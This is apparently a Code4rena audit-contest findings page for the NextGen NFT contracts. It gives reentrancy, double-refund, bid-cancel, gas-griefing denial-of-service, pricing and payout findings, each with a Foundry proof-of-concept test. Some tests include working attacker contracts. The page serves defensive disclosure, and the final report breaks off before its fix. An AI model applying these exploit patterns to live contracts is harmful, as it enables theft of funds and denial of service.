Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 38/243
Findings: 8
Award: $286.49
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L193 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L224 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L217 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L220
A critical vulnerability has been identified in the NextGenCore mint()
, burnToMint()
, and airDropTokens()
functions. This vulnerability allows to minting of tokens beyond the maximum limits due to a reentrancy issue. The current implementation of the functions does not adhere to the Checks-Effects-Interactions (CEI) pattern, with state changes occurring at the end of the functions. This oversight enables users to re-enter the mint functions multiple times, effectively bypassing the predefined limit for token minting.
The impact of this vulnerability is significant as it allows users on the allow list to exceed their token minting limit. This can lead to uncontrolled minting of tokens, potentially causing:
mint()
function.mint()
function before the initial call completes.The next foundry test could show the exploit scenario when the attacker mints 2 NFTs in the collection that allows minting only 1 token per address:
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import "./Base.t.sol"; import "forge-std/Test.sol"; import {IERC721} from "../smart-contracts/IERC721.sol"; import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; contract ReenterMint is Base, Test { Attacker attacker; address user; function setUp() public { user = makeAddr("user"); _deploy(); skip(1 days); _createCollectionWithSaleOption2(); } function test_exploit() public payable { uint256 collectionId = 1; bytes32[] memory emptyProof; uint256 endTime = nextGenMinterContract.getEndTime(collectionId); vm.warp(endTime-1); uint256 price = nextGenMinterContract.getPrice(collectionId); vm.deal(user, price * 2); vm.startPrank(user); nextGenMinterContract.mint{value: price}(collectionId, 1, 1, "", user, emptyProof, address(0), 0); // Minting second token to EOA address would revert since max allowance per address is 1 vm.expectRevert(); nextGenMinterContract.mint{value: price}(collectionId, 1, 1, "", user, emptyProof, address(0), 0); vm.stopPrank(); attacker = new Attacker(nextGenMinterContract, price, collectionId); vm.deal(address(attacker), price * 2); vm.prank(address(attacker)); nextGenMinterContract.mint{value: price}(collectionId, 1, 1, "", address(attacker), emptyProof, address(0), 0); // Attacker successfully minted 2 tokens using reentrancy and bypassed max mint check assertEq(nextGenCore.balanceOf(address(attacker)), 2); } } contract Attacker { NextGenMinterContract minter; uint256 price; uint256 collectionId; constructor(NextGenMinterContract _minter, uint256 _price, uint256 _collectionId) { minter = _minter; price = _price; collectionId = _collectionId; } function mint() public payable { bytes32[] memory emptyProof; minter.mint{value: price}(collectionId, 1, 1, "", address(this), emptyProof, address(0), 0); } function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) { if (IERC721(msg.sender).balanceOf(address(this)) == 1) { mint(); } return hex'150b7a02'; } }
This test requires a Base.t.sol
file: https://gist.github.com/sashik-eth/accf61913418dddc86d94ff5ae6fe9bd
In the same way, allowlist checks could be bypassed or Merkle proof reused.
vscode
Reentrancy
#0 - c4-pre-sort
2023-11-20T01:01:31Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T13:57:33Z
141345 marked the issue as not a duplicate
#2 - c4-pre-sort
2023-11-26T13:57:39Z
141345 marked the issue as primary issue
#3 - c4-pre-sort
2023-11-26T13:59:20Z
141345 marked the issue as sufficient quality report
#4 - c4-sponsor
2023-11-27T05:42:43Z
a2rocket (sponsor) confirmed
#5 - c4-judge
2023-12-04T20:45:05Z
alex-ppg marked issue #1517 as primary and marked this issue as a duplicate of 1517
#6 - c4-judge
2023-12-08T16:18:15Z
alex-ppg marked the issue as satisfactory
#7 - c4-judge
2023-12-08T16:18:22Z
alex-ppg marked the issue as partial-50
#8 - c4-judge
2023-12-08T19:17:03Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L111-L118 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124-L130
The Auction contract is susceptible to a critical vulnerability that allows bidders to exploit a double-refund scenario. This flaw enables a bidder, under the condition block.timestamp == minter.getAuctionEndTime(_tokenid)
, to reclaim the bid amount twice, resulting in an unintended financial loss for the contract owner and an inadvertent gain for the winning bidder. This vulnerability manifests in scenarios where auctions for various NFTs from distinct collections are concurrently active, providing the necessary liquidity for the exploit. Essentially, it facilitates the unauthorized retrieval of funds from other bidders.
The Attack Scenario The example is taken from the context of the PoC provided.
claimAuction
function.cancelBid
function within the same block as the claimAuction
transaction resulting in double refund.Find the complete PoC template at https://gist.github.com/zzzuhaibmohd/9bf9d4961472560f1e03ed9a640debd6
for setup run forge init
and place the file nextGen.t.sol
in test Folder
function test_biddersGetRefundTwice() public { vm.warp(25 days); //1. create two collections createCollection("Test Collection 1", 1); createCollection("Test Collection 2", 2); //2. Mint two token from each collection Id and set to to auction minter.mintAndAuction( alice, //_recipient "Alice In WonderLand", //_tokenData 0, //_saltfun_o 1, //_collectionID block.timestamp + 5 days // _auctionEndTime ); minter.mintAndAuction( bob, //_recipient "Bob The Builder", //_tokenData 0, //_saltfun_o 2, //_collectionID block.timestamp + 5 days // _auctionEndTime ); uint256 tokenId_One = 10000000000; // the tokenId of the first auctioned NFT uint256 tokenId_Two = 20000000000; // the tokenId of the second auctioned NFT // 3. The holders of the auction NFt provding approval vm.prank(alice); IERC721(core).approve(address(auction), tokenId_One); vm.prank(bob); IERC721(core).approve(address(auction), tokenId_Two); // Note: At any point of time, we can safely assume that there could be multiple auction of NFT taking place // In the sense that may users are sending bids for multiple NFT of multiple collections // 4. Send Bids to Collection #1 vm.prank(gina); auction.participateToAuction{value: 2 ether}(tokenId_One); vm.prank(hank); auction.participateToAuction{value: 3 ether}(tokenId_One); // 5. Send Bids to Collection #2 vm.prank(cook); auction.participateToAuction{value: 0.5 ether}(tokenId_Two); vm.prank(frank); auction.participateToAuction{value: 2 ether}(tokenId_Two); vm.prank(eve); auction.participateToAuction{value: 2.5 ether}(tokenId_Two); // 6. Verify the block.timestamp == minter.getAuctionEndTime(tokenId) or else the exploit wont work, //also check the ether balance of auction contract vm.warp(30 days); assertEq(address(auction).balance, 10 ether); // based on the sum of current bids sent assertEq(block.timestamp, minter.getAuctionEndTime(tokenId_Two)); // 7. Eve who is the highest bidder of tokenId_Two claims it since block.timestamp == minter.getAuctionEndTime(tokenId_Two) vm.prank(eve); auction.claimAuction(tokenId_Two); // the bidder who lost the bid are refunded with the bids amount assertEq(core.ownerOf(tokenId_Two), eve); // ten ether is the initial balance of the users, Refer "setUp()" assertEq(address(cook).balance, 10 ether); assertEq(address(frank).balance, 10 ether); //8. THE HACK //bidders of tokenId_Two sent the cancelBid tx as the soon the tokenId_Two was claimed //the claimAuction didnot update the auctionInfoData[_tokenid][i].status to false allowing the bidders to call cancelBid in the same block //The extra ether the bidders are receing is from teh bid of other users to the tokenId_One vm.prank(cook); auction.cancelBid(tokenId_Two, 0); vm.prank(frank); auction.cancelBid(tokenId_Two, 1); // The worst part of the exploit is the eve who is owner of the NFT is also refunded the ether back from the auction contract, basically buying the NFT for free vm.prank(eve); auction.cancelBid(tokenId_Two, 2); //9. the Result // ten ether is the initial balance of the users, Refer "setUp()" assertGe(address(cook).balance, 10 ether); assertGe(address(frank).balance, 10 ether); assertEq(address(eve).balance, 10 ether); assertEq(address(auction).balance, 0 ether); }
Foundry
To address the issue, implement the following code modifications:
claimAuction
function, adjust the timestamp condition to block.timestamp > minter.getAuctionEndTime(_tokenid)
to stop successful double refunds and
in the cancelBid
function, refine the timestamp condition to block.timestamp < minter.getAuctionEndTime(_tokenid)
to confine bid cancellations post-auction closure.function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ - require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == fˀalse && minter.getAuctionStatus(_tokenid) == true); + require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == fˀalse && minter.getAuctionStatus(_tokenid) == true); //rest of the code } function cancelBid(uint256 _tokenid, uint256 index) public { - require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); + require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended"); //rest of the code }
claimAuction
function, enhance bid tracking by setting the bid status to false
.function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ //the code for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { + auctionInfoData[_tokenid][i].status == false; IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { //@audit-issue -> shouldnt the status be updated to false here ?? + auctionInfoData[_tokenid][i].status == false; (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } //rest of the code }
ETH-Transfer
#0 - c4-pre-sort
2023-11-15T07:50:51Z
141345 marked the issue as duplicate of #1172
#1 - c4-judge
2023-12-06T21:28:09Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T18:06:15Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L58
AuctionDemo
allows putting a new bid only if it is greater than the current highest bid, at the same time the first bid could be even 1 wei:
File: AuctionDemo.sol 57: function participateToAuction(uint256 _tokenid) public payable { 58: require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); 59: auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); 60: auctionInfoData[_tokenid].push(newBid); 61: }
This creates an attack vector when the exploiter puts 2 bids right after the auction starts - first with a very low price and second with a very high price. This effectively prevents other users from placing new bids with reasonable prices. Closer to the auction end time attacker could simply cancel a higher bid and win the auction with a low bid.
An attacker could win any auction with a much lower price (even with 1 wei if they bid the first one) than a "real" price of NFT.
Next foundry test could show an exploit scenario:
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import "./Base.t.sol"; import "forge-std/Test.sol"; contract TwoBidsWin is Base, Test { address attacker; address user; function setUp() public { attacker = makeAddr("attacker"); user = makeAddr("user"); _deploy(); skip(1 days); _initAuction(); } function test_exploit() public payable { vm.deal(attacker, 100.1 ether); // Attacker puts two bids - one on a very low price and the second on a very high price vm.startPrank(attacker); auction.participateToAuction{value: 0.1 ether}(tokenId); auction.participateToAuction{value: 100.0 ether}(tokenId); vm.stopPrank(); vm.deal(user, 0.2 ether); vm.prank(user); // User's bids with resealable prices are reverted vm.expectRevert(); auction.participateToAuction{value: 0.2 ether}(tokenId); uint256 endTime = nextGenMinterContract.getAuctionEndTime(tokenId); vm.warp(endTime); vm.startPrank(attacker); // Attacker cancels own 'high' bid and wins auction using 'low' bid auction.cancelBid(tokenId, 1); auction.claimAuction(tokenId); vm.stopPrank(); // Attacker won an auction spending a much lower amount of eth assertGe(attacker.balance, 100 ether); } }
This test requires a Base.t.sol file: https://gist.github.com/sashik-eth/accf61913418dddc86d94ff5ae6fe9bd
Consider allowing to place new bids even if they are lower than the current highest bid. This would guarantee that when the highest bidder cancels their bid closer to the auction ending NFT would be selling for a reasonable price.
Other
#0 - c4-pre-sort
2023-11-14T09:59:16Z
141345 marked the issue as duplicate of #1904
#1 - c4-pre-sort
2023-11-14T23:31:51Z
141345 marked the issue as duplicate of #962
#2 - c4-judge
2023-12-02T15:11:53Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-12-02T15:13:42Z
alex-ppg marked the issue as duplicate of #1784
#4 - c4-judge
2023-12-07T11:51:26Z
alex-ppg marked the issue as duplicate of #1323
#5 - c4-judge
2023-12-08T17:15:07Z
alex-ppg marked the issue as partial-50
#6 - c4-judge
2023-12-08T17:27:49Z
alex-ppg marked the issue as satisfactory
#7 - c4-judge
2023-12-08T17:40:53Z
alex-ppg marked the issue as partial-50
#8 - sashik-eth
2023-12-09T10:55:49Z
@alex-ppg This finding is wrongly marked as a dup of #1323.
This finding is based on the constriction that new bids can't be placed if they are lower than the current "highestBid", this allows an attacker to place 1 dust bid and 1 enormous bid at the start of the auction, then cancel the last as close as possible to auction ending, effectively preventing other bidders most of the auction durion. The attacker can almost guarantee winning the auction with a dust bid and no risks.
But #1323 relates to a bug in the "last second" claim and cancel bid functionality. Fixing it (changing the time comparing check to strict one >
) would not prevent the exploit scenario described here.
#9 - alex-ppg
2023-12-09T14:06:28Z
Hey @sashik-eth, thanks for contributing! Please consult my top response on the Discussion page and specifically "Finding Penalization". You can also observe information here: https://github.com/code-423n4/2023-10-nextgen-findings/issues/1513#issuecomment-1845203182
After you have consulted the relevant sources I am more than happy to discuss this further.
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0xAsen, 0xDetermination, 0xJuda, 0xWaitress, 0xhunter, 0xlemon, 0xpiken, Al-Qa-qa, Arabadzhiev, CSL, CaeraDenoir, DarkTower, DeFiHackLabs, Greed, Haipls, MaNcHaSsS, NentoR, NoamYakov, PENGUN, Ruhum, Soul22, SovaSlava, Talfao, Toshii, TuringConsulting, VAD37, Vagner, Valix, Viktor_Cortess, ZdravkoHr, audityourcontracts, btk, codynhat, flacko, funkornaut, glcanvas, gumgumzum, immeas, innertia, ke1caM, lanrebayode77, lsaudit, mrudenko, niki, nmirchev8, openwide, oualidpro, r0ck3tz, rvierdiiev, trachev, yojeff
2.7688 USDC - $2.77
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116
auctionDemo#claimAuction
is called by the auction winner or admin when the auction is ended. This function sents NFT token to the winner's address, the winning bid to the previous owner of NFT and refunds all bidders that do not win an auction:
File: AuctionDemo.sol 104: function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ 105: require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); 106: auctionClaim[_tokenid] = true; 107: uint256 highestBid = returnHighestBid(_tokenid); 108: address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); 109: address highestBidder = returnHighestBidder(_tokenid); 110: for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { 111: if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { 112: IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); 113: (bool success, ) = payable(owner()).call{value: highestBid}(""); 114: emit ClaimAuction(owner(), _tokenid, success, highestBid); 115: } else if (auctionInfoData[_tokenid][i].status == true) { 116: (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); 117: emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); 118: } else {} 119: } 120: }
At line 116 contract makes a call to the bidder's address with a refund of ether value. The result of this call is not required to be successful, so this looks safe at first sight since if the bidder contract simply reverts this - loop will continue its execution. However, the bidder contract could spend 63/64 gas of the current transaction. This would lead to a revert in the next calls inside the refunding loop.
Increasing the TX gas limit up to the max gas limit (block gas limit) would not prevent an exploit since an attacker could place few bids causing spending more than 63/64 of TX gas.
Any bidder could cause permanent DOS on the auctionDemo#claimAuction
function blocking all bids and NFT token inside the auction contract. An attacker could turn off DOS, releasing hostage assets at any time, and require redemption for this.
Next foundry test could show an exploit scenario:
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import "./Base.t.sol"; import "forge-std/Test.sol"; contract DosOnRefund is Base, Test { Attacker attacker; address user; function setUp() public { attacker = new Attacker(); user = makeAddr("user"); _deploy(); skip(1 days); _initAuction(); } function test_exploit() public payable { vm.deal(address(attacker), 1 wei); vm.prank(address(attacker)); auction.participateToAuction{value: 1 wei}(tokenId); vm.deal(address(attacker), 2 wei); vm.prank(address(attacker)); auction.participateToAuction{value: 2 wei}(tokenId); vm.deal(user, 3 ether); vm.prank(user); auction.participateToAuction{value: 3 ether}(tokenId); uint256 endTime = nextGenMinterContract.getAuctionEndTime(tokenId); vm.warp(endTime); // Tx reverts since too much gas spent inside refunds calls on the attacker contract vm.expectRevert(); auction.claimAuction(tokenId); // Attacker could release hostage assets at any time attacker.allowClaim(); auction.claimAuction(tokenId); } } contract Attacker { bool shouldSpendGas = true; function allowClaim() external { shouldSpendGas = false; } receive() external payable { if (shouldSpendGas) { for (uint256 i; i < type(uint256).max; ++i) {} } } }
This test requires a Base.t.sol
file: https://gist.github.com/sashik-eth/accf61913418dddc86d94ff5ae6fe9bd
Also foundry.toml
file should include the next line:
gas_limit = 30000000
Consider updating the refund flow in a way that each bidder calls withdraws for their bids instead of forcing sending all bids in the auctionDemo#claimAuction
function.
ETH-Transfer
#0 - c4-pre-sort
2023-11-20T01:02:12Z
141345 marked the issue as duplicate of #486
#1 - c4-judge
2023-12-01T22:14:34Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T22:14:54Z
alex-ppg marked the issue as duplicate of #1782
#3 - c4-judge
2023-12-08T20:47:11Z
alex-ppg marked the issue as satisfactory
71.228 USDC - $71.23
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L540
NextGenMinterContract#getPrice
returns the price for minting a new token. If the collection has salesOption
with value 2 and the current timestamp is between allowlistStartTime
and publicEndTime
, this function would calculate the mint price between values of collectionMintCost
and collectionEndMintCost
. Price is changing consistently with the growing block.timestamp
value:
function getPrice(uint256 _collectionId) public view returns (uint256) { uint tDiff; if (collectionPhases[_collectionId].salesOption == 3) { // increase minting price by mintcost / collectionPhases[_collectionId].rate every mint (1mint/period) // to get the price rate needs to be set if (collectionPhases[_collectionId].rate > 0) { return collectionPhases[_collectionId].collectionMintCost + ((collectionPhases[_collectionId].collectionMintCost / collectionPhases[_collectionId].rate) * gencore.viewCirSupply(_collectionId)); } else { return collectionPhases[_collectionId].collectionMintCost; } } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){ // decreases exponentially every time period // collectionPhases[_collectionId].timePeriod sets the time period for decreasing the mintcost // if just public mint set the publicStartTime = allowlistStartTime // if rate = 0 exponetialy decrease // if rate is set the linear decrase each period per rate tDiff = (block.timestamp - collectionPhases[_collectionId].allowlistStartTime) / collectionPhases[_collectionId].timePeriod; uint256 price; uint256 decreaserate; if (collectionPhases[_collectionId].rate == 0) { price = collectionPhases[_collectionId].collectionMintCost / (tDiff + 1); decreaserate = ((price - (collectionPhases[_collectionId].collectionMintCost / (tDiff + 2))) / collectionPhases[_collectionId].timePeriod) * ((block.timestamp - (tDiff * collectionPhases[_collectionId].timePeriod) - collectionPhases[_collectionId].allowlistStartTime)); } else { if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff) { price = collectionPhases[_collectionId].collectionMintCost - (tDiff * collectionPhases[_collectionId].rate); } else { price = collectionPhases[_collectionId].collectionEndMintCost; } } if (price - decreaserate > collectionPhases[_collectionId].collectionEndMintCost) { return price - decreaserate; } else { return collectionPhases[_collectionId].collectionEndMintCost; } } else { // fixed price return collectionPhases[_collectionId].collectionMintCost; } }
Minting functions in MinterContract
allow minting tokens when block.timestamp == publicEndTime
:
File: MinterContract.sol 196: function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable { ... 221: } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) { 222: phase = 2; 223: require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens"); 224: require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max"); 225: mintingAddress = msg.sender; 226: tokData = '"public"';
At the same time getPrice
function returns the collectionMintCost
price in case block.timestamp
is equal to publicEndTime
. This creates a scenario where minting at the publicEndTime - 1
timestamp is more cost-effective than minting at the publicEndTime
timestamp. This discrepancy arises from the accurate price drop in the first case contrasted with the wrongly returned collectionMintCost
value in the second case.
Last-second minter would overpay the mint price if the case of the collection with salesOption
== 2.
The next foundry test shows how last-second minter is overpaid compared to the minter from the previous second:
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import "./Base.t.sol"; import "forge-std/Test.sol"; contract OverpayOnLastMint is Base, Test { address user1; address user2; function setUp() public { user1 = makeAddr("user1"); user2 = makeAddr("user2"); _deploy(); skip(1 days); _createCollectionWithSaleOption2(); } function test_exploit() public payable { uint256 collectionId = 1; bytes32[] memory emptyProof; uint256 endTime = nextGenMinterContract.getEndTime(collectionId); vm.warp(endTime-1); // Minting price for one second before minting ends is correctly dropped lower uint256 price = nextGenMinterContract.getPrice(collectionId); vm.deal(user1, price); vm.prank(user1); nextGenMinterContract.mint{value: price}(collectionId, 1, 1, "", user1, emptyProof, address(0), 0); emit log_uint(price); // Minting when the timestamp is equal to publicEndTime would result in a higher mint price skip(1); price = nextGenMinterContract.getPrice(collectionId); vm.deal(user2, price); vm.prank(user2); nextGenMinterContract.mint{value: price}(collectionId, 1, 1, "", user2, emptyProof, address(0), 0); emit log_uint(price); } }
Consider updating the next line in MinterContract.sol
:
File: MinterContract.sol - } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){ + } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp <= collectionPhases[_collectionId].publicEndTime){
Math
#0 - c4-pre-sort
2023-11-16T01:42:55Z
141345 marked the issue as duplicate of #1391
#1 - c4-judge
2023-12-08T21:40:11Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: bird-flu
Also found by: 00decree, 0xAadi, AS, Audinarey, DeFiHackLabs, Eigenvectors, Fitro, Hama, Kaysoft, Krace, REKCAH, SovaSlava, The_Kakers, Viktor_Cortess, cartlex_, degensec, devival, evmboi32, funkornaut, jacopod, openwide, peanuts, rotcivegaf, smiling_heretic, xAriextz, xiao
25.2356 USDC - $25.24
The highest bid amount is directed to the auction contract's owner instead of the rightful owner of the NFT.
The claimAuction
function exhibits an issue where the bid amount is erroneously transferred to the owner of the auction contract (owner()
) instead of the rightful owner of the auctioned token (ownerOfToken
). This issue occurs when the auction winner successfully claims the auction.
Find the complete PoC template at https://gist.github.com/zzzuhaibmohd/9bf9d4961472560f1e03ed9a640debd6
for setup run forge init
and place the file nextGen.t.sol
in test Folder
function test_BidAmountIsSentWrongOwner() public { vm.warp(25 days); createCollection("Test Collection 1", 1); // 1. Mint a token from collection Id and set to to auction minter.mintAndAuction( bob, //_recipient "Bob the Builder", //_tokenData 0, //_saltfun_o 1, //_collectionID block.timestamp + 5 days // _auctionEndTime ); uint256 tokenId = 10000000000; // the tokenId of the auctioned NFT // 2. Bob provides approval to the auction contract vm.prank(bob); IERC721(core).approve(address(auction), tokenId); // 3. Alice places the bid for tokenId vm.prank(alice); auction.participateToAuction{value: 2 ether}(tokenId); vm.prank(eve); auction.participateToAuction{value: 3 ether}(tokenId); // 5. The admin calls the claimAuction transaction vm.warp(30 days); uint bob_balance_before_sale = bob.balance; uint auction_owner_balance_before_sale = auction.owner().balance; assertEq(core.ownerOf(tokenId), bob); auction.claimAuction(tokenId); assertEq(core.ownerOf(tokenId), eve); // 6. The ISSUE //Funds are sent to the auction.owner() instead of bob who is the owner of the NFT assertEq( auction.owner().balance, auction_owner_balance_before_sale + auction.returnHighestBid(tokenId) ); assertEq(bob.balance, bob_balance_before_sale); }
Foundry
To fix this issue, the bid amount should be sent to the correct recipient, namely the owner of the auctioned token (ownerOfToken
). Below is the modified code snippet highlighting the necessary correction:
The Fix:
